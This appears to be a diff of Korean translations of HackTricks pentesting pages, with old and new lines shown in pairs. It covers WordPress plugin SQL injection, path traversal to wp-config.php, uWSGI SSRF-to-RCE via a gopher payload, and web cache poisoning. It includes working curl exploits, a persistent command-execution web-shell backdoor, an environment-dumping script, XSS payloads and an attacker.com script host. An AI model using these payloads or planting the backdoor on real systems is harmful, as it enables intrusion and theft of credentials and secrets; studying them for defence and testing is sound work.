2. `parentid`를 악용해 임의의 SQL을 주입합니다:
```bash
curl -X POST https://victim.com/wp-admin/admin-post.php \
-d 'task=savecategory' \
@ -679,20 +678,20 @@ curl -X POST https://victim.com/wp-admin/admin-post.php \
-d 'parentid=0 OR 1=1-- -' \
-d 'cat_title=pwn' -d 'id='
```
응답은 주입된 쿼리의 결과를 노출하거나 데이터베이스를 변경하여 SQLi가 존재함을 증명합니다.
응답은 주입된 쿼리의 결과를 노출하거나 데이터베이스를 변경하여 SQLi 증명합니다.
### Unauthenticated Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2)
### 인증 없이 임의 파일 다운로드 / 경로 순회 (WP Job Portal <= 2.3.2)
또 다른 작업인 **downloadcustomfile**은 방문자가 path traversal을 통해 디스크상의 **모든 파일**을 다운로드할 수 있게 허용했습니다. 취약한 sink는 `modules/customfield/model.php::downloadCustomUploadedFile()`에 위치합니다:
또 다른 task인 **downloadcustomfile**은 방문자가 경로 순회를 통해 디스크의 **아무 파일(any file on disk)** 을 다운로드할 수 있게 허용했습니다. 취약한 sink는 `modules/customfield/model.php::downloadCustomUploadedFile()`에 위치합니다:
```php
$file = $path . '/' . $file_name;
...
echo $wp_filesystem->get_contents($file); // raw file output
```
`$file_name`은 공격자가 제어하며 **without sanitisation** 상태로 연결됩니다. 다시 말해, 유일한 관문은 resume 페이지에서 가져올 수 있는 **CSRF nonce**입니다.
`$file_name`은 공격자가 제어하며 **검증 없이** 이어붙여집니다. 다시 말해, 유일한 관문은 이력서 페이지에서 가져올 수 있는 **CSRF nonce**입니다.
#### 악용
#### Exploitation
```bash
curl -G https://victim.com/wp-admin/admin-post.php \
--data-urlencode 'task=downloadcustomfile' \
@ -701,7 +700,7 @@ curl -G https://victim.com/wp-admin/admin-post.php \
--data-urlencode 'entity_id=1' \
--data-urlencode 'file_name=../../../wp-config.php'
```
서버가 `wp-config.php`의 내용을 반환하여 DB credentials 및 auth keys를 leaking 합니다.
서버가 `wp-config.php`의 내용을 반환하여 DB credentials 및 auth keys를 leaking합니다.
## 참고자료

View File

@ -0,0 +1,169 @@
# WSGI Post-Exploitation Tricks
{{#include ../../banners/hacktricks-training.md}}
## WSGI 개요
Web Server Gateway Interface (WSGI)는 웹 서버가 웹 애플리케이션과 통신하는 방식과, 웹 애플리케이션들이 하나의 요청을 처리하기 위해 체인처럼 연결되는 방식을 설명하는 명세입니다. uWSGI는 가장 널리 사용되는 WSGI 서버 중 하나로, 종종 Python 웹 애플리케이션을 서비스하는 데 사용됩니다.
## uWSGI Magic Variables Exploitation
uWSGI는 서버 동작을 동적으로 구성하는 데 사용할 수 있는 특수한 "magic variables"를 제공합니다. 이 변수들은 HTTP headers를 통해 설정할 수 있으며, 적절히 검증되지 않으면 심각한 보안 취약점으로 이어질 수 있습니다.
### 주요 악용 가능한 변수
#### `UWSGI_FILE` - 임의 파일 실행
```
uwsgi_param UWSGI_FILE /path/to/python/file.py;
```
이 변수는 임의의 Python 파일을 WSGI 애플리케이션으로 로드하고 실행할 수 있도록 허용합니다. 공격자가 이 파라미터를 제어할 수 있다면 Remote Code Execution (RCE)를 수행할 수 있습니다.
#### `UWSGI_SCRIPT` - 스크립트 로딩
```
uwsgi_param UWSGI_SCRIPT module.path:callable;
uwsgi_param SCRIPT_NAME /endpoint;
```
지정된 스크립트를 새로운 애플리케이션으로 로드합니다. 파일 업로드나 쓰기 기능과 결합되면 RCE로 이어질 수 있습니다.
#### `UWSGI_MODULE` and `UWSGI_CALLABLE` - 동적 모듈 로딩
```
uwsgi_param UWSGI_MODULE malicious.module;
uwsgi_param UWSGI_CALLABLE evil_function;
uwsgi_param SCRIPT_NAME /backdoor;
```
이 파라미터들은 임의의 Python 모듈을 로드하고 그 내부의 특정 함수를 호출할 수 있게 해준다.
#### `UWSGI_SETENV` - 환경 변수 조작
```
uwsgi_param UWSGI_SETENV DJANGO_SETTINGS_MODULE=malicious.settings;
```
환경 변수를 수정하는 데 사용될 수 있으며, 애플리케이션 동작에 영향을 주거나 악의적인 구성을 로드할 수 있습니다.
#### `UWSGI_PYHOME` - Python 환경 조작
```
uwsgi_param UWSGI_PYHOME /path/to/malicious/venv;
```
Python virtual environment을 변경해 잠재적으로 악성 packages나 다른 Python interpreters를 로드할 수 있습니다.
#### `UWSGI_CHDIR` - Directory Traversal
```
uwsgi_param UWSGI_CHDIR /etc/;
```
요청을 처리하기 전에 작업 디렉터리를 변경하며, 이는 path traversal attacks에 악용될 수 있다.
## SSRF + Gopher로
### 공격 벡터
uWSGI가 SSRF (Server-Side Request Forgery)를 통해 접근 가능할 때, 공격자는 내부 uWSGI socket과 상호작용하여 magic variables를 악용할 수 있다. 특히 다음과 같은 경우에 위험하다:
1. 애플리케이션에 SSRF 취약점이 있다
2. uWSGI가 내부 port/socket에서 실행 중이다
3. 애플리케이션이 magic variables를 올바르게 검증하지 않는다
uWSGI는 config 파일 `uwsgi.ini``socket = 127.0.0.1:5000`가 포함되어 있어 SSRF를 통해 웹 애플리케이션에서 접근 가능하게 된다.
### Exploitation Example
#### Step 1: Create Malicious Payload
먼저, 서버에서 접근 가능한 파일에 Python 코드를 주입한다(서버 내부 파일 쓰기, 파일 확장자는 상관없음):
```python
# Payload injected into a JSON profile file
import os
os.system("/readflag > /app/profiles/result.json")
```
#### 2단계: uWSGI 프로토콜 요청 생성
Gopher 프로토콜을 사용해 원시 uWSGI 패킷을 전송합니다:
```
gopher://127.0.0.1:5000/_%00%D2%00%00%0F%00SERVER_PROTOCOL%08%00HTTP/1.1%0E%00REQUEST_METHOD%03%00GET%09%00PATH_INFO%01%00/%0B%00REQUEST_URI%01%00/%0C%00QUERY_STRING%00%00%0B%00SERVER_NAME%00%00%09%00HTTP_HOST%0E%00127.0.0.1%3A5000%0A%00UWSGI_FILE%1D%00/app/profiles/malicious.json%0B%00SCRIPT_NAME%10%00/malicious.json
```
This payload:
- uWSGI의 포트 5000에 연결합니다.
- 악성 파일을 가리키도록 `UWSGI_FILE`을 설정합니다.
- uWSGI가 해당 Python 코드를 로드하고 실행하도록 강제합니다.
### uWSGI Protocol Structure
uWSGI 프로토콜은 다음과 같은 바이너리 형식을 사용합니다:
- 변수는 길이 접두사가 붙은 문자열로 인코딩됩니다.
- 각 변수는 다음을 가집니다: `[name_length][name][value_length][value]`
- 패킷은 전체 크기를 포함하는 헤더로 시작합니다
## Post-Exploitation Techniques
### 1. Persistent Backdoors
#### File-based Backdoor
```python
# backdoor.py
import subprocess
import base64
def application(environ, start_response):
cmd = environ.get('HTTP_X_CMD', '')
if cmd:
result = subprocess.run(base64.b64decode(cmd), shell=True, capture_output=True, text=True)
response = f"STDOUT: {result.stdout}\nSTDERR: {result.stderr}"
else:
response = "Backdoor active"
start_response('200 OK', [('Content-Type', 'text/plain')])
return [response.encode()]
```
그런 다음 `UWSGI_FILE`을 사용하여 이 backdoor를 로드합니다:
```
uwsgi_param UWSGI_FILE /tmp/backdoor.py;
uwsgi_param SCRIPT_NAME /admin;
```
#### Environment-based Persistence
```
uwsgi_param UWSGI_SETENV PYTHONPATH=/tmp/malicious:/usr/lib/python3.8/site-packages;
```
### 2. 정보 노출
#### Environment Variable Dumping
```python
# env_dump.py
import os
import json
def application(environ, start_response):
env_data = {
'os_environ': dict(os.environ),
'wsgi_environ': dict(environ)
}
start_response('200 OK', [('Content-Type', 'application/json')])
return [json.dumps(env_data, indent=2).encode()]
```
#### 파일 시스템 접근
파일 서빙과 결합된 `UWSGI_CHDIR`를 사용하여 민감한 파일에 접근하세요:
```
uwsgi_param UWSGI_CHDIR /etc/;
uwsgi_param UWSGI_FILE /app/file_server.py;
```
### 3. Privilege Escalation
#### Socket Manipulation
uWSGI가 권한이 상승된 상태로 실행되는 경우, attackers가 socket permissions를 조작할 수 있습니다:
```
uwsgi_param UWSGI_CHDIR /tmp;
uwsgi_param UWSGI_SETENV UWSGI_SOCKET_OWNER=www-data;
```
#### 구성 재정의
```python
# malicious_config.py
import os
# Override uWSGI configuration
os.environ['UWSGI_MASTER'] = '1'
os.environ['UWSGI_PROCESSES'] = '1'
os.environ['UWSGI_CHEAPER'] = '1'
```
## 참고자료
- [uWSGI Magic Variables Documentation](https://uwsgi-docs.readthedocs.io/en/latest/Vars.html)
- [IOI SaveData CTF Writeup](https://bugculture.io/writeups/web/ioi-savedata)
- [uWSGI Security Best Practices](https://uwsgi-docs.readthedocs.io/en/latest/Security.html)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,75 +2,74 @@
{{#include ../../banners/hacktricks-training.md}}
## The difference
## 차이점
> **What is the difference between web cache poisoning and web cache deception?**
> **web cache poisoning과 web cache deception의 차이점은 무엇인가?**
>
> - In **web cache poisoning**, 공격자는 애플리케이션이 일부 악성 콘텐츠를 cache에 저장하도록 만들고, 해당 콘텐츠가 cache에서 다른 애플리케이션 사용자들에게 제공됩니다.
> - In **web cache deception**, 공격자는 다른 사용자의 민감한 콘텐츠가 cache에 저장되도록 유도한 다음, 공격자가 그 콘텐츠를 cache에서 회수합니다.
> - In **web cache poisoning**, the attacker causes the application to store some malicious content in the cache, and this content is served from the cache to other application users.
> - In **web cache deception**, the attacker causes the application to store some sensitive content belonging to another user in the cache, and the attacker then retrieves this content from the cache.
## Cache Poisoning
Cache poisoning은 client-side cache를 조작해 클라이언트가 예기치 않은 자원, 부분적인 응답, 또는 공격자가 제어하는 자원을 로드하도록 강제하는 것을 목표로 합니다. 영향 범위는 해당 페이지의 인기(트래픽)에 따라 달라지며, 오염된 응답은 cache가 오염된 기간 동안 그 페이지를 방문하는 사용자들에게만 제공됩니다.
Cache poisoning은 클라이언트 측 캐시를 조작하여 클라이언트가 예상치 못한 리소스, 부분적인 리소스, 또는 공격자가 제어하는 리소스를 로드하도록 강제하는 것을 목표로 합니다. 영향 범위는 영향을 받은 페이지의 인기(트래픽)에 따라 달라지며, 오염된 응답은 캐시 오염 기간 동안 해당 페이지를 방문하는 사용자에게만 제공됩니다.
cache poisoning 공격의 수행은 몇 가지 단계로 이루어집니다:
cache poisoning 공격의 실행은 다음 단계로 구성됩니다:
1. **Identification of Unkeyed Inputs**: 요청이 캐시되기 위해 필수적이지 않더라도 서버가 반환하는 응답을 변경할 수 있는 파라미터들입니다. 이러한 입력을 식별하는 것은 cache를 조작하기 위해 매우 중요합니다.
2. **Exploitation of the Unkeyed Inputs**: unkeyed inputs를 식별한 후, 공격자에게 유리하도록 서버의 응답을 변경하기 위해 이러한 파라미터들을 어떻게 악용할지 파악합니다.
3. **Ensuring the Poisoned Response is Cached**: 마지막 단계는 조작된 응답이 cache에 저장되도록 보장하는 것입니다. 이렇게 하면 cache가 오염된 동안 해당 페이지에 접근하는 모든 사용자는 오염된 응답을 받게 됩니다.
1. **키가 지정되지 않은 입력 식별**: 요청이 캐시되는 데 필수는 아니지만 서버가 반환하는 응답을 변경할 수 있는 매개변수들입니다. 이러한 입력을 식별하는 것은 캐시를 조작하는 데 중요합니다.
2. **키가 지정되지 않은 입력의 악용**: 식별한 입력을 사용해 서버의 응답을 공격자에게 유리하도록 어떻게 조작할지 파악합니다.
3. **오염된 응답이 캐시되도록 보장**: 조작된 응답이 캐시에 저장되도록 해야 합니다. 이렇게 하면 캐시가 오염된 동안 해당 페이지에 접근하는 모든 사용자가 변조된 응답을 받게 됩니다.
### Discovery: Check HTTP headers
### 탐지: HTTP 헤더 확인
일반적으로 응답이 **stored in the cache**되었을 때 이를 나타내는 **header**가 있습니다. 어떤 헤더에 주의해야 하는지는 이 글에서 확인할 수 있습니다: [**HTTP Cache headers**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers).
일반적으로 응답이 **캐시에 저장되었을 때** 이를 나타내는 **헤더**가 존재합니다. 어떤 헤더에 주목해야 하는지는 이 글을 확인하세요: [**HTTP Cache headers**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers).
### Discovery: Caching error codes
### 탐지: 오류 코드 캐싱
응답이 cache에 저장되는 것으로 의심된다면, **send requests with a bad header**를 시도해 볼 수 있습니다. 이 요청은 **status code 400**으로 응답되어야 합니다. 그런 다음 해당 요청에 정상적으로 접근해 보고, **response가 400 status code**라면 취약하다는 것을 알 수 있습니다(심지어 DoS도 가능할 수 있습니다).
응답이 캐시에 저장되고 있다고 생각되면, **잘못된 헤더를 포함한 요청을 보내** 서버가 **상태 코드 400**으로 응답하는지 확인해보세요. 그런 다음 해당 요청을 정상적으로 접근해보고 응답이 **400 상태 코드**라면 취약한 것이며(심지어 DoS도 가능할 수 있습니다).
You can find more options in:
다음에서 더 많은 옵션을 확인할 수 있습니다:
{{#ref}}
cache-poisoning-to-dos.md
{{#endref}}
다만 **때로는 이러한 종류의 status code들이 캐시되지 않을 수 있으므로** 이 테스트가 항상 신뢰할 수 있는 것은 아니라는 점에 유의하세요.
다만, 이러한 종류의 상태 코드가 항상 캐시되는 것은 아니므로 이 테스트가 항상 신뢰할 수 있는 것은 아니라는 점을 유의하세요.
### Discovery: Identify and evaluate unkeyed inputs
### 탐지: 키가 지정되지 않은 입력 식별 및 평가
[**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943)를 사용하여 페이지의 응답을 **changing the response of the page**할 수 있는 파라미터와 헤더를 **brute-force parameters and headers**로 찾아볼 수 있습니다. 예를 들어, 어떤 페이지는 `X-Forwarded-For` 헤더를 사용하여 클라이언트가 스크립트를 그 경로에서 로드하도록 지시할 수 있습니다:
응답을 변경할 수 있는 매개변수와 헤더를 **무차별 대입**으로 탐색하기 위해 [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943)를 사용할 수 있습니다. 예를 들어, 페이지가 클라이언트에게 스크립트를 거기서 로드하도록 지시하기 위해 `X-Forwarded-For` 헤더를 사용하고 있을 수 있습니다:
```html
<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>
```
### 백엔드 서버에서 유해한 응답 유도
### 백엔드 서버로부터 악의적 응답 유도하기
식별된 parameter/header에 대해 그것이 어떻게 **정제(sanitised)** 되는지, 그리고 헤더에서 응답의 **어디에 반영(reflected)** 되거나 영향을 주는지 확인하세요. 그래도 이를 악용할 수 있나요 (XSS를 수행하거나 당신이 제어하는 JS 코드를 로드? DoS를 수행?...)
식별한 파라미터/헤더에 대해 값이 어떻게 **정제되는지**와 응답에서 **어디에 반영되는지** 또는 응답에 어떻게 영향을 주는지 확인하세요. 이를 악용할 수 있나요(예: XSS 수행, 본인이 제어하는 JS 코드 로드, DoS 수행 등)?
### 응답을 캐시되 만들기
### 응답을 캐시되도록 만들기
악용 가능한 **페이지**와 사용할 **parameter**/**header**, 그리고 이를 **어떻게** **악용(abuse)** 할지 **식별(identified)**했으면, 해당 페이지를 캐시되게 해야 합니다. 캐시하려는 리소스에 따라 시간이 걸릴 수 있으며, 몇 초 동안 반복 시도해야 할 수 있습니다.
악용할 수 있는 **페이지**, 사용할 **파라미터**/**헤더**, 그리고 **어떻게** **악용**할지를 **식별**한 후에는 해당 페이지를 캐시되도록 만들어야 합니다. 캐시에 넣으려는 리소스에 따라 시간이 걸릴 수 있으며, 몇 초 동안 여러 번 시도해야 할 수 있습니다.
응답의 헤더 **`X-Cache`**는 유용할 수 있으며, 요청이 캐시되지 않았을 때 **`miss`** 값을, 캐시되었을 때 **`hit`** 값을 가질 수 있습니다.\
헤더 **`Cache-Control`**도 리소스가 캐시되고 있는지, 다음에 언제 캐시될지 확인하는 데 유용합니다: `Cache-Control: public, max-age=1800`
응답의 헤더 **`X-Cache`**는 매우 유용할 수 있는데, 요청이 캐시되지 않았을 때는 값이 **`miss`**이고, 캐시되어 있으면 **`hit`**일 수 있습니다.\
응답 헤더 **`Cache-Control`** 또한 리소스가 캐시되는지와 다음 캐시 갱신 시점을 파악하는 데 유용합니다: `Cache-Control: public, max-age=1800`
또 다른 흥미로운 헤더는 **`Vary`**입니다. 이 헤더는 일반적으로 키로 취급되지 않는 헤더라도 캐시 키의 **일부로 간주되는 추가 헤더를 나타내기(indicate additional headers)** 위해 자주 사용됩니다. 따라서 공격자가 대상의 `User-Agent`를 알고 있다면, 해당 `User-Agent`를 사용하는 사용자들을 위해 캐시를 poison할 수 있습니다.
또 다른 흥미로운 헤더는 **`Vary`**입니다. 이 헤더는 보통 추가적인 헤더들을 **캐시 키의 일부**로 취급된다는 것을 **명시**하는 데 사용됩니다(평상시에는 키로 사용되지 않더라도). 따라서 공격자가 대상의 `User-Agent`를 알고 있다면, 해당 특정 `User-Agent`를 사용하는 사용자들을 위해 캐시를 poison할 수 있습니다.
캐시와 관련된 또 다른 헤더는 **`Age`**입니다. 이 헤더는 객체가 프록시 캐시에 머문 시간을 초 단위로 정의합니다.
캐시와 관련된 또 다른 헤더는 **`Age`**입니다. 이 헤더는 객체가 프록시 캐시에 존재한 시간을 초 단위로 정의합니다.
요청을 캐시할 때는 사용한 헤더에 대해 **주의(be careful with the headers you use)**해야 합니다. 일부 헤더는 **예상치 못하게** **keyed**로 사용될 수 있으며, 그러면 **피해자는 동일한 헤더를 사용해야** 합니다. 항상 **다른 브라우저들(different browsers)**로 Cache Poisoning을 **test**하여 제대로 동작하는지 확인하세요.
요청을 캐시할 때는 사용하는 헤더에 대해 **주의하세요**, 일부 헤더는 예상치 않게 **키로 사용될 수** 있으며 **피해자도 동일한 헤더를 사용해야** 합니다. 항상 Cache Poisoning을 다른 브라우저에서 테스트하여 작동하는지 확인하세요.
## Exploiting Examples
## 익스플로잇 예제
### Easiest example
### 가장 쉬운 예제
응답에 `X-Forwarded-For`와 같은 헤더가 필터링 없이 반영(reflected)됩니다.\
기본 XSS 페이로드를 보내고 캐시를 poison하면 페이지에 접근하는 모든 사용자가 XSSed 되게 할 수 있습니다:
`X-Forwarded-For`와 같은 헤더가 응답에 필터링되지 않은 채 반영됩니다. 기본적인 XSS payload를 전송하고 캐시를 poison하면 페이지에 접속하는 모든 사용자가 XSSed 됩니다:
```html
GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"
```
_참고: 이것은 `/en?region=uk` 요청을 오염시키며 `/en` 요청은 아닙니다_
_Note that this will poison a request to `/en?region=uk` not to `/en`_
### Cache poisoning to DoS
@ -81,15 +80,15 @@ cache-poisoning-to-dos.md
### Cache poisoning through CDNs
**[this writeup](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html)** 에서는 다음과 같은 간단한 시나리오가 설명되어 있습니다:
**[this writeup](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html)**에서는 다음과 같은 간단한 시나리오를 설명합니다:
- CDN은 `/share/` 아래의 모든 것을 캐시합니다.
- CDN은 `%2F..%2F`를 디코드하거나 정규화하지 않으므로, 이를 **path traversal to access other sensitive locations that will be cached**로 사용하여 `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` 같은 민감한 위치에 접근할 수 있습니다.
- 웹 서버는 `%2F..%2F`를 디코드하고 정규화하`/api/auth/session`으로 응답하며, 이는 **contains the auth token**입니다.
- CDN은 `%2F..%2F`를 디코드하거나 정규화하지 않습니다. 따라서 캐시될 다른 민감한 위치에 접근하기 위한 **path traversal**로 사용할 수 있습니다. 예: `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123`
- 웹 서버는 `%2F..%2F`를 디코드하고 정규화하`/api/auth/session`로 응답합니다. 이 응답은 **auth token**을 포함합니다.
### Using web cache poisoning to exploit cookie-handling vulnerabilities
Cookies는 페이지 응답에 반영될 수도 있습니다. 예를 들어 이를 악용해 XSS를 일으킬 수 있다면, 악의적인 cache 응답을 로드하는 여러 클라이언트에서 XSS를 악용할 수 있습니다.
Cookies는 페이지 응답에 반영될 수도 있습니다. 예를 들어 이를 악용해 XSS를 유발할 수 있다면, 악성 캐시 응답을 불러오는 여러 클라이언트에서 XSS를 통해 공격할 수 있습니다.
```html
GET / HTTP/1.1
Host: vulnerable.com
@ -97,38 +96,38 @@ Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"
```
Note that if the vulnerable cookie is very used by the users, regular requests will be cleaning the cache.
### 구분자, 정규화 및 점을 이용한 불일치 생성 <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
### 구분자, 정규화 및 점을 사용해 불일치 생성 <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
Check:
확인:
{{#ref}}
cache-poisoning-via-url-discrepancies.md
{{#endref}}
### path traversal을 통한 Cache poisoning으로 API key 탈취 <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
### Cache poisoning with path traversal로 API key 훔치기 <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
[**This writeup explains**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) how it was possible to steal an OpenAI API key with an URL like `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` because anything matching `/share/*` will be cached without Cloudflare normalising the URL, which was done when the request reached the web server.
[**이 글은 설명합니다**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) 어떻게 `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` 같은 URL로 OpenAI API key를 훔칠 수 있었는지, `/share/*`와 매칭되는 모든 항목은 Cloudflare가 URL을 정규화하지 않은 상태로 캐시되었고, 정규화는 요청이 웹 서버에 도달했을 때 수행되었기 때문입니다.
This is also explained better in:
이 내용은 또한 다음에서 더 잘 설명되어 있습니다:
{{#ref}}
cache-poisoning-via-url-discrepancies.md
{{#endref}}
### 여러 헤더를 사용해 web cache poisoning 취약점 악용하기 <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
### 여러 headers를 사용하여 web cache poisoning 취약점을 악용하기 <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
로는 캐시를 악용하기 위해 **exploit several unkeyed inputs**가 필요할 수 있습니다. 예를 들어, `X-Forwarded-Host`를 본인이 제어하는 도메인으로 설정하고 `X-Forwarded-Scheme`를 `http`로 설정하면 **Open redirect**을 발견할 수 있습니다. **If** the **server** is **forwarding** all the **HTTP** requests **to HTTPS** and using the header `X-Forwarded-Scheme` as the domain name for the redirect, 리디렉션이 가리키는 페이지의 위치를 제어할 수 있습니다.
때로 캐시를 악용하려면 **exploit several unkeyed inputs**가 필요할 수 있습니다. 예를 들어, `X-Forwarded-Host`를 귀하가 제어하는 도메인으로 설정하고 `X-Forwarded-Scheme`를 `http`로 설정하면 **Open redirect**를 발견할 수 있습니다. **만약** **서버**가 모든 **HTTP** 요청을 **HTTPS로 포워딩**하고 리디렉션의 도메인 이름으로 헤더 `X-Forwarded-Scheme`를 사용한다면, 리디렉션이 페이지를 향하는 위치를 제어할 수 있습니다.
```html
GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
X-Forwarded-Scheme: http
```
### Exploiting with limited `Vary`header
### 제한된 `Vary`header 악용
만약 **`X-Host`** 헤더가 **JS 리소스를 로드할 도메인 이름**으로 사용되고 있고, 응답의 **`Vary`** 헤더가 **`User-Agent`**로 표시되어 있다면, 피해자의 `User-Agent`를 exfiltrate하고 해당 `User-Agent`를 사용해 poison the cache할 방법을 찾아야 합니다:
응답에서 **`X-Host`** 헤더가 **domain name to load a JS resource**로 사용되는데, 응답의 **`Vary`** 헤더가 **`User-Agent`**를 가리키는 경우라면, 피해자의 User-Agent를 exfiltrate하고 해당 user agent를 사용해 cache를 poison하는 방법을 찾아야 합니다:
```html
GET / HTTP/1.1
Host: vulnerbale.net
@ -137,7 +136,7 @@ X-Host: attacker.com
```
### Fat Get
URL과 body에 요청을 담아 GET 요청을 보낸다. 만약 web server가 body의 값을 사용하지만 cache server가 URL의 값을 캐시한다면, 해당 URL에 접속하는 누구나 실제로는 body의 parameter를 사용하게 된다. James Kettle이 Github 웹사이트에서 발견한 vuln과 같다:
요청 내용을 URL과 body에 모두 담아 GET 요청을 보낸다. web server가 body의 값을 사용하고 cache server가 URL의 값을 캐시한다면, 그 URL에 접근하는 누구든 실제로는 body의 parameter를 사용하게 된다. 다음은 James Kettle이 Github 웹사이트에서 발견한 vuln의 예이다:
```
GET /contact/report-abuse?report=albinowax HTTP/1.1
Host: github.com
@ -146,39 +145,39 @@ Content-Length: 22
report=innocent-victim
```
이와 관련된 PortSwigger lab: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get)
이와 관련된 PortSwigger lab이 있습니다: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get)
### Parameter Cloacking
예를 들어 ruby 서버에서는 **`;`** 문자를 **`&`** 대신 사용해 **parameters**를 구분할 수 있습니다. 이를 이용해 키가 없는 parameters 값을 키가 있는 parameters 내부에 삽입해 악용할 수 있습니다.
예를 들어 ruby 서버에서는 **parameters**를 구분할 때 문자 **`;`**를 **`&`** 대신 사용할 수 있습니다. 이는 키가 없는 매개변수 값을 키가 있는 매개변수 안에 넣어 악용하는 데 사용될 수 있습니다.
PortSwigger lab: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking)
Portswigger lab: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking)
### Exploiting HTTP Cache Poisoning by abusing HTTP Request Smuggling
여기에서 [Cache Poisoning attacks by abusing HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-poisoning)를 수행하는 방법을 확인하세요.
여기에서 [Cache Poisoning attacks by abusing HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-poisoning)를 수행하는 방법을 알아보세요.
### Automated testing for Web Cache Poisoning
[Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner)는 Web Cache Poisoning을 자동으로 테스트하는 데 사용할 수 있습니다. 다양한 기법을 지원하며 커스터마이징이 매우 용이합니다.
[Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner)를 사용하여 Web Cache Poisoning을 자동으로 테스트할 수 있습니다. 다양한 기법을 지원하며 높은 커스터마이즈가 가능합니다.
Example usage: `wcvs -u example.com`
### Header-reflection XSS + CDN/WAF-assisted cache seeding (User-Agent, auto-cached .js)
이 실제 패턴은 header 기반 반사 primitive와 CDN/WAF 동작을 연결하여 다른 사용자들에게 제공되는 캐시된 HTML을 신뢰성 있게 포이즈닝합니다:
이 실제 사례 패턴은 header 기반의 reflection primitive와 CDN/WAF 동작을 결합하여 다른 사용자에게 제공되는 캐시된 HTML을 신뢰성 있게 poison하는 방식입니다:
- 메인 HTML은 신뢰할 수 없는 요청 헤더(예: `User-Agent`)를 실행 가능 컨텍스트로 반사했습니다.
- CDN은 캐시 헤더를 제거했지만 internal/origin cache가 존재했습니다. CDN은 또한 정적 확장자(예: `.js`)로 끝나는 요청을 자동으로 캐시했, WAF는 정적 자산에 대한 GET에 대해 더 약한 콘텐츠 검사를 적용했습니다.
- 요청 흐름의 특성으로 인해 `.js` 경로에 대한 요청이 이후 메인 HTML에 사용되는 cache key/variant에 영향을 주어 header reflection을 통한 크로스-유저 XSS가 가능해졌습니다.
- 메인 HTML은 신뢰할 수 없는 요청 헤더(예: `User-Agent`)를 실행 가능한 컨텍스트로 반영했습니다.
- CDN은 캐시 헤더를 제거했지만 내부/오리진 캐시는 존재했습니다. CDN은 또한 정적 확장자(예: `.js`)로 끝나는 요청을 자동으로 캐시했으며, WAF는 정적 자산에 대한 GET에 대해 더 약한 콘텐츠 검사를 적용했습니다.
- 요청 흐름의 특성으로 인해 `.js` 경로에 대한 요청이 이후 메인 HTML에 사용되는 cache key/variant에 영향을 주어, header reflection을 통해 cross-user XSS가 가능해졌습니다.
실전 레시피(한 인기 있는 CDN/WAF에서 관찰됨):
실전 레시피(널리 사용되는 CDN/WAF에서 관찰됨):
1) 평판 저하가 없는 깨끗한 IP에서(이전 평판 기반 강등을 피하면서), 브라우저 또는 Burp Proxy의 Match & Replace를 통해 악성 `User-Agent`를 설정합니다.
2) Burp Repeater에서 두 개의 요청 그룹을 준비하고 "Send group in parallel"를 사용합니다(단일-packet 모드가 가장 잘 동작합니다):
- 첫 번째 요청: 같은 오리진의 `.js` 리소스 경로에 대해 악성 `User-Agent`를 보내며 GET 요청을 보냅니다.
- 바로 다음: 메인 페이지(`/`)에 GET을 보냅니다.
